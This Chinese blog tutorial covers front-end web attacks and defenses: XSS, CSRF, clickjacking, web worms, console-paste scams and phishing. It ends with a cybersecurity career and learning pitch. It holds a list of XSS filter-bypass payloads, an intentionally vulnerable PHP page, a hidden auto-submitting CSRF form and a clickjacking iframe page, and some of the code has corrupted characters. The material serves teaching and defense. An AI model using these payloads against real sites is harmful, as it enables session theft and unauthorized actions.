Web前端开发中的黑客技术以及安全技术（共七种）

最新推荐文章于 2024-06-27 08:45:02 发布

AI学习不迷路

最新推荐文章于 2024-06-27 08:45:02 发布

阅读量778

点赞数 11

文章标签：前端安全 web安全网络安全网络

本文链接：https://blog.csdn.net/qkh1234567/article/details/138601585

版权

想当黑客？是的，基本每个程序员都有一颗相当黑客的心。从【黑客帝国】再到【欧洲攻略】，Hackers总是在黑暗中微笑，慢慢的侵蚀着互联网，侵蚀着他想要去的地方，获取别人的数据库，获取自己想要的信息，是不是帅到不讲武德。

但是，我们身为公司的员工，我们有义务和责任保护公司的信息安全，这时候，我们可能有需要和黑客作斗争，化身为正义的天神，与黑暗中那个微笑的男人征战。

所以说，这篇文章我想告诉大家前端黑客是如何操作的以及在公司我们如何保护好项目不受侵犯。

1.跨站脚本(XSS)

攻击

全称：Cross Site Script(跨站脚本)

为了与层叠样式表css区分，将跨站脚本简写为XSS

危害：盗取用户信息、钓鱼、制造蠕虫等。

概念：黑客通过“HTML注入”篡改了网页，插入了恶意脚本，从而在用户在浏览网页时，实现控制用户浏览器行为的一种攻击方式。

黑客可以利用xss盗取用户的cookie，有了用户的cookie，可以以用户的身份来正常访问站点。

XSS属于客户端代码注入，通常注入代码是JavaScript。区别于命令注入，SQL注入属于服务端代码注入。

简单的来说，就是在网页提供给用户输入的地方写入代码。

XSS分为三种类型：反射型，存储型，Dom型。

反射型：
一般来说这种类型的XSS，需要攻击者提前构造一个恶意链接，来诱使客户点击，比如这样的一段链接：

javascript

复制代码www.abc.com/?params=<script>alert(/xss/)</script>

存储型：
这种类型的XSS，危害比前一种大得多。比如一个攻击者在论坛的楼层中包含了一段JavaScript代码，并且服务器没有正确进行过滤输出，那就会造成浏览这个页面的用户执行这段JavaScript代码。

DOM XSS：
这种类型则是利用非法输入来闭合对应的html标签。
比如，有这样的一个a标签：

css

复制代码<a href='$var'></a>

乍看问题不大，可是当$var的内容变为 ’ οnclick=’alert(/xss/) //，这段代码就会被执行。

实战：

这里我们讲的是Dom XSS，这是一个网页源码：

php复制代码<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS原理分析</title>
</head>
<body>
<form action="" method="get">
<input type="text" name="xss_input"><input type="submit">
</form>
<hr>
<?php
$xss = $_GET['xss_input'];
echo '请输入您的payload<br>'.$xss;
?>
</body>
</html>

界面是这样的：

我们首先输入123，看看能得到什么结果：

去看看源码：

我们输入的字符串被原封不动输出了，这样的话，如果我们将123替换成bird 也会被原封不动的输出，由于alert（）函数的功能是弹出对话框，那么也就是说我们输入上面的语句就会弹框，现在来看看

下面是输入bird 得到的页面：

果不其然真的弹框了，这就说明这个web页面存在XSS漏洞

再去看看源码：

防御

对用户的输入进行转义，即可解决XSS。

但是我们现在都是用框架进行开发，例如Vue，React，angular，而XSS常是基于DOM的，而框架很少去操作Dom，并且框架底层也对XSS做了一些防范。

2.跨站请求伪造（CSRF）

攻击

全称：Cross-site request forgery(跨站请求伪造)

危害：个人隐私泄露以及财产安全。

概念：攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作（如发邮件，发消息，甚至财产操作如转账和购买商品）。由于浏览器曾经认证过，所以被访问的网站会认为是真正的用户操作而去运行。这利用了web中用户身份验证的一个漏洞：简单的身份验证只能保证请求发自某个用户的浏览器，却不能保证请求本身是用户自愿发出的。

实战：

这里有一个网站，自带账号和密码，点击登录即可，你可以在文章下面发表一条评论并且记住自己的用户名。

用户在网站登录后，这个网站服务端会在 Cookie 中会放一个凭证，这个凭证是后端用来验证用户身份的。
在发评论的时候，提交评论的请求会带上这个凭证，后端通过判断这个凭证，来确认是哪个用户。

登录时，设置 Cookie：

提交评论时，携带 Cookie：

我们再来看看，发起攻击的页面里的内容。

xml复制代码<body style="display: none;">
    <form target="myIframe" id="csrf" action="https://www.kkkk1000.com/csrf/data/post_comment.php" method="POST">
        <input type="text" name="content" value="csrf攻击" />
    </form>

    <!-- iframe 用来防止页面跳转 -->
    <iframe id="myIframe" name="myIframe"></iframe>

    <script>
        var form = document.querySelector('#csrf');
        form.submit();
    </script>
</body>

这些代码的意思就是，当用户点击这个链接，会自动提交 form 表单，而这个表单就是用来提交评论的，提交评论请求需要的参数，在 form 表单中也都已经准备好了，如果用户登录过网站，Cookie 中存储的用户的凭证，会随着请求一起传到服务器端。所以服务器端就会认为这是用户要提交一条评论。

防御

请求来源限制——验证 HTTP Referer 字段

方法：在HTTP请求头中有一个字段叫Referer，它记录了请求的来源地址。服务器需要做的是验证这个来源地址是否合法，如果是来自一些不受信任的网站，则拒绝响应。

额外验证机制——token的使用

方法：使用tocken来代替验证码验证。由于黑客并不能拿到和看到cookie里的内容，所以无法伪造一个完整的请求。基本思路如下：

服务器随机产生token（比如把cookie hash化生成），存在session中，放在cookie中或者以ajax的形式交给前端。
前端发请求的时候，解析cookie中的token，放到请求url里或者请求头中。
服务器验证token，由于黑客无法得到或者伪造token，所以能防范csrf

更进一步的加强手段（不需要session）：

服务器随机产生token，然后以token为密钥散列生成一段密文
把token和密文都随cookie交给前端
前端发起请求时把密文和token都交给后端
后端对token和密文进行正向散列验证，看token能不能生成同样的密文
这样即使黑客拿到了token 也无法拿到密文。

3.界面操作劫持

攻击

概念：*界面劫持，分为点击劫持、拖放劫持、触屏劫持。就是我们的点击，拖放，触屏操作被劫持了，而去操作了其它的透明隐藏的界面。其原理是利用透明层+iframe,使用了css中的opacity和z-index等属性，来到达透明和位于其它界面的上方，然后使用iframe来嵌入劫持页面。到达了用户操作的不是它看到的，不是他以为的那个界面，而是那个透明的位于上层的界面*。

简单的来说，就是在百度贴吧页面上覆盖了一层页面，在百度贴吧关注按钮上面，覆盖的页面在相同的位置放一个按钮欺骗人点击，点击这个按钮相当去点击了百度贴吧的关注按钮。

我们准备一个透明层页面：

xml复制代码<!DOCTYPE HTML>
<html>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<head>
<title>点击劫持</title>
<style>
     html,body,iframe{
         display: block;
          height: 100%;
          width: 100%;
          margin: 0;
          padding: 0;
          border:none;
     }
     iframe{
          opacity:0;
          filter:alpha(opacity=0);
          position:absolute;
          z-index:2;
     }
     button{
          position:absolute;
          top: 315px;
          left: 462px;
          z-index: 1;
          width: 72px;
          height: 26px;
     }
</style>
</head>
     <body>
          那些不能说的秘密
          <button>查看详情</button>
          <iframe src="http://tieba.baidu.com/f?kw=%C3%C0%C5%AE"></iframe>
     </body>
</html>

\2. 网址传播出去后，用户手击了查看详情后，其实就会点到关注按钮。

\3. 这样贴吧就多了一个粉丝了。

防御

使用一个HTTP头——X-Frame-Options。

X-Frame-Options可以说是为了解决ClickJacking而生的，它有三个可选的值：

DENY：浏览器会拒绝当前页面加载任何frame页面。

SAMEORIGIN：frame页面的地址只能为同源域名下的页面。

ALLOW-FROM origin：允许frame加载的页面地址。

JS层面：使用iframe的sandbox属性，判断当前页面是否被其他页面嵌套。

建议HTTP头+JS结合防御。

4.漏洞挖掘

攻击

web前端黑客中的漏洞挖掘重点就是XSS漏洞挖掘，至于CSRF漏洞挖掘和页面操作劫持漏洞挖掘本质上就决定了这些漏洞挖掘起来就很简单。

CSRF的漏洞挖掘只要确认以下内容即可：

1.目标表单是否有有效的token随机串。

2.目标表单是否有验证码。

3.目标是否判断了Referer来源。

4.网站根目录下crossdomain.xml的"allow—access—fromdomain“是否是通配符。

5.目标JSON数据似乎可以自定义callback函数等。

页面操作劫持的漏洞挖掘只要确认以下内容即可：

1.目标的HTTP响应头是否设置了X-Frame-Options字段。

2.目标是否有JavaScript的FrameBusting机制。

3.更简单的就是用iframe嵌入目标网站试试，若成功，则说明漏洞存在。

XSS的漏洞就多了太多的可操作性：

下面假设服务端不对用户输入有任何编码或者过滤。

4.1、html内容中

4.1.1 大小写不敏感

xml

复制代码 <sCript>alert(1);</scrIpt>

4.1.2 嵌套绕过

xml

复制代码<sCr<scriPt>ipt>alert(1)</scr</scRipt>Ipt>

4.1.3 svg 注入(HTML5 支持内联 SVG)

ini

复制代码<svg/onload=alert(document.domain)>

4.1.4 执行代码转换成unicode编码，再通过eval执行

ini复制代码<img src=N onerror
="eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41))">

4.2. HTML标签属性中

4.2.1 自行闭合双引号构造闭合标签:

xml复制代码" οnclick="alert(1)
"><img src='a' onerror=alert(document.domain)>
"><svg/οnlοad=alert(document.domain)>
<a href=abcd.jsp?ttt=1000 οnmοuseοver=alert(123) y=2016>2</a>
<a href="" onclick=eval(&#97&#108&#101&#114&#116&#40&#39&#120&#115&#115&#39&#41)>aaa</a>
<a href="" onclick="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">aaa</a>
构造on事件:   
ini

复制代码 " οnmοuseοver=alert(document.domain)>
增加注释符//:   
scss

复制代码" οnmοuseοver=alert(document.domain)> //

利用html5 autofocus功能进行XSS:

kotlin

复制代码aaaaa" name="javasCript:alert()" autofocus οnfοcus="location=this.name" aaa">

很多时候遇到的场景并不会这么简单, 程序员会将双引号 " 过滤为实体例如

<input type="text" value="烧饼" onclick="alert(1)" />

Form标签闭合引号:

xml复制代码<form method=Post action=abcd.jsp?ttt=1000 οnmοuseοver=prompt(962613) y=&enddate=2016 > #action后面直接空格
　　<input type='text' name='page' value=0>　　
<input name='submit' type='submit' value='GO' class="input2">
</form>

<form method=Post action=javascript:alert('xss') > 
　　<input type='text' name='page' value=0>
　　<input name='submit' type='submit' value='GO' class="input2">
</form>

<form method=Post action=1 onmouseover=alert(123) bbb=111 > 
　　<input type='text' name='page' value=0>
　　<input name='submit' type='submit' value='GO' class="input2">
</form>

<form method=Post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="> 
　　<input type='text' name='page' value=0>
　　<input name='submit' type='submit' value='GO' class="input2">
</form>

4.2.2 两个常见的输出例子

less

复制代码<HTML标签 onXXXX="...[输出在这里].."><a href="javascript:[输出在这里]">xxxx </a>

实际上, onxxxx=“[输出]” 和 href=“javascript:[输出]” 与没有太大区别。因为[输出]所在的地方，都是javascript脚本。

但是如果被过滤，往往没有太好的办法。而上面这2种情况，则有一个很好的办法绕过过滤。

由于单引号’被过滤，我们可以将’写为’

ini复制代码location.href='........&key=aaaaaa'
location.href='........&key=aaaaaa'+alert(1)+''
location.href='........&key=aaaaaa&#39;+alert(1)+&#39;‘

接着我们把代码转换为 url 的编码。 &-> %26, # -> %23最后

perl

复制代码key=%26%23x27;%2balert(1)%2b%26%2aaaaaaa3x27;

缺陷点是发生在 onkeydown 或 a 标签的 href 属性中，无法自动触发，因而使得威胁减小，如果是发生在 img 的 onload 属性，则非常可能导致自动触发

防御

用户输入内容直接显示在代码执行上下文中,我们可以首先判断，是否过滤了

* < , > , /

* 等特殊符号,如果没有被过滤可以XSS可能性就很高

尽量不要在JS的注释里输出内容, 还挺危险的。

防御方式：将一下特殊字符进行转义
防御方式: 对这些输出的特殊字符进行编码

5.WEB蠕虫

攻击

**概念：**网络蠕虫是一种智能化、自动化，综[网络攻击、密码学和计算机病毒技术，无须计算机使用者干预即可运行的攻击程序或代码，它会扫描和攻击网络上存在系统漏洞的节点主机，通过局域网或者国际互联网从一个节点传播到另外一个节点”。

和漏洞挖掘一样，WEB蠕虫也分为XSS蠕虫，CSRF蠕虫，页面操作劫持蠕虫。这次我们要说的是页面操作劫持蠕虫。

页面操作劫持蠕虫的由来

这要从2009年初Twitter上发生的“Don’tCIick”蠕虫事件说起。在2009年初，Twitter 上的很多用户都发现自己的Twitter上莫名其妙地出现了下面这条广播：

Don’tC1ick：～http：//tinyurl.com/amgzs6

用户实际上根本就没有广播过这条消息。这次Twitter的蠕虫事件就是使用页面操作劫持技术进行传播的。这也是蠕虫首次使用页面操作劫持技术手段进行传播的案例。

技术分析

下面就对Twitter的这次Don’tClick蠕虫做技术分析。

首先，攻击者使用页面操作劫持技术制作蠕虫页面，该页面的URL地址使用TINYURL短地址转tinyurl.com/amgzs6页面源代码的设计要点如下。

对iframe和button标签进行CSS样式设定，设置iframe标签所在层为透明层、使iframe 标签所在层位于button标签所在层的正上方。

css复制代码<style>
iframe{
position: absolute;
width: 500px;
height: 228px;
top: -170px;
left: -400px;
z—index：2;
opacity：0;
filter：alpha(opacity=0)；
button{
position：absolute；
top：1Opx;
left：1Opx；
z—index：1：
width：120px；
</style>

透明层下方的迷惑按钮和twitter中发送广播的按钮重合。

css

复制代码 <button>Don't Click</button>

透明层的内容中，status参数后的内容即为发送广播的内容：

ini复制代码<iframe src="http：//twitter.com/home?status=Don't Click：
com/amgzs6"
scrolling="no"></iframe>

页面虽然简陋，但上面介绍的这个正是iframe蠕虫最核心的框架。至此，蠕虫页面己经做好，可以开始源头的传播。攻击者首先在自己的Twitter上发一条广播：

"Don’tClick:tinyurl.com/amgzs6”

当攻击者的其他好友收听到这条广播后，好奇心促使他们去单击http：//tinyurLcom/amgzs6链接，进而去单击链接页面中的"Don’t Click”按钮。当单击该按钮后，其实单击的是Twitter中发送广播的按钮，于是在用户不知情的情况下，用户的Twitter中发送一条广播，内容为“Don’tCIick:tinyurl.com/”。然后，其他看到这条消息的人重复以上操作，如此循环，蠕虫就这样传播。

防御

1.开发需尽量避免Web客户端文档重写、重定向或其他敏感操作，同时要避免使用客户端数据，这些操作需尽量在服务器端使用动态页面来实现。

2.HttpOnly Cookie。预防XSS攻击窃取用户cookie最有效的防御手段。Web应用程序在设置cookie时，将其属性设为HttpOnly，就可以避免该网页的cookie被客户端恶意JavaScript窃取，保护用户cookie信息。

3.WAF(Web Application Firewall)，Web应用防火墙，主要的功能是防范诸如网页木马、XSS以及CSRF等常见的Web漏洞攻击。由第三方公司开发，在企业环境中深受欢迎。

6.控制台注入代码

攻击

天猫官网的控制台是有警告信息，这是为什么呢?因为有的黑客会诱骗用户去往控制台里面粘贴东西(欺负大部分人不懂代码)，比如可以在朋友圈贴个什么文章，说:"只要访问天猫，按下F12并且粘贴以下内容，则可以获得xx元礼品"之类的，那么有的用户真的会去操作，并且自己隐私被暴露了也不知道。

天猫这种做法，也是在警告用户不要这么做，看来天猫的前端安全做的也是很到位的。不过，这种攻击毕竟是少数，所以各位看官看一眼就行，如果真的发现有的用户会被这样攻击的话，记得想起天猫的这种解决方案。

防御

7.钓鱼

攻击

钓鱼也是一种非常古老的攻击方式了，其实并不太算前端攻击。可毕竟是页面级别的攻击，我们也来一起聊一聊。我相信很多人会有这样的经历，QQ群里面有人发什么兼职啦、什么自己要去国外了房子车子甩卖了，详情在我QQ空间里啦，之类的连接。打开之后发现一个QQ登录框，其实一看域名就知道不是QQ，不过做得非常像QQ登录，不明就里的用户们，就真的把用户名和密码输入了进去，结果没登录到QQ，用户名和密码却给人发过去了。

1 首先，我们在xx空间里分享一篇文章，然后吸引别人去点击。

2 接着，我们在cheat.php这个网站上面，将跳转过来的源网页地址悄悄的进行修改。

于是，在用户访问了我们的欺骗网站后，之前的tab已经悄然发生了变化，我们将其悄悄的替换为了钓鱼的网站，欺骗用户输入用户名、密码等。

3 我们的钓鱼网站，伪装成XX空间，让用户输入用户名与密码

防御

这种钓鱼方式比较有意思，重点在于我们比较难防住这种攻击，我们并不能将所有的页面链接都使用js打开。所以，要么就将外链跳转的连接改为当前页面跳转，要么就在页面unload的时候给用户加以提示，要么就将页面所有的跳转均改为window.open。

题外话

网络安全行业特点

1、就业薪资非常高，涨薪快 2022年猎聘网发布网络安全行业就业薪资行业最高人均33.77万！

2、人才缺口大，就业机会多

2019年9月18日《中华人民共和国中央人民政府》官方网站发表：我国网络空间安全人才需求140万人，而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W，现在从事网络安全行业的从业人员只有10W人。

行业发展空间大，岗位非常多

网络安全行业产业以来，随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性，尤其是掌握工作中的核心网络架构、安全技术，在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升，所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟，升值空间一路看涨，这也是为什么受大家欢迎的主要原因。

从某种程度来讲，在网络安全领域，跟医生职业一样，越老越吃香，因为技术愈加成熟，自然工作会受到重视，升职加薪则是水到渠成之事。

关于网络安全学习指南

学习网络安全技术的方法无非三种:

第一种是报网络安全专业，现在叫网络空间安全专业，主要专业课程:程序设计、计算机组成原理原理、数据结构、操作系统原理、数据库系统、计算机网络、人工智能、自然语言处理、社会计算、网络安全法律法规、网络安全、内容安全、数字取证、机器学习，多媒体技术，信息检索、舆情分析等。

第二种是自学，就是在网上找资源、找教程，或者是想办法认识一-些大佬，抱紧大腿，不过这种方法很耗时间，而且学习没有规划，可能很长一段时间感觉自己没有进步，容易劝退。

第三种就是去找培训。

接下来，我会教你零基础入门快速入门上手网络安全。

网络安全入门到底是先学编程还是先学计算机基础？这是一个争议比较大的问题，有的人会建议先学编程，而有的人会建议先学计算机基础，其实这都是要学的。而且这些对学习网络安全来说非常重要。但是对于完全零基础的人来说又或者急于转行的人来说，学习编程或者计算机基础对他们来说都有一定的难度，并且花费时间太长。

第一阶段：基础准备 4周~6周

这个阶段是所有准备进入安全行业必学的部分，俗话说：基础不劳，地动山摇

第二阶段：web渗透

学习基础时间：1周 ~ 2周：

① 了解基本概念：（SQL注入、XSS、上传、CSRF、一句话木马、等）为之后的WEB渗透测试打下基础。
② 查看一些论坛的一些Web渗透，学一学案例的思路，每一个站点都不一样，所以思路是主要的。
③ 学会提问的艺术，如果遇到不懂得要善于提问。

配置渗透环境时间：3周 ~ 4周：

① 了解渗透测试常用的工具，例如（AWVS、SQLMAP、NMAP、BURP、中国菜刀等）。
② 下载这些工具无后门版本并且安装到计算机上。
③ 了解这些工具的使用场景，懂得基本的使用，推荐在Google上查找。

渗透实战操作时间：约6周：

① 在网上搜索渗透实战案例，深入了解SQL注入、文件上传、解析漏洞等在实战中的使用。
② 自己搭建漏洞环境测试，推荐DWVA，SQLi-labs，Upload-labs，bWAPP。
③ 懂得渗透测试的阶段，每一个阶段需要做那些动作：例如PTES渗透测试执行标准。
④ 深入研究手工SQL注入，寻找绕过waf的方法，制作自己的脚本。
⑤ 研究文件上传的原理，如何进行截断、双重后缀欺骗(IIS、PHP)、解析漏洞利用（IIS、Nignix、Apache）等，参照：上传攻击框架。
⑥ 了解XSS形成原理和种类，在DWVA中进行实践，使用一个含有XSS漏洞的cms，安装安全狗等进行测试。
⑦ 了解一句话木马，并尝试编写过狗一句话。
⑧ 研究在Windows和Linux下的提升权限，Google关键词：提权

以上就是入门阶段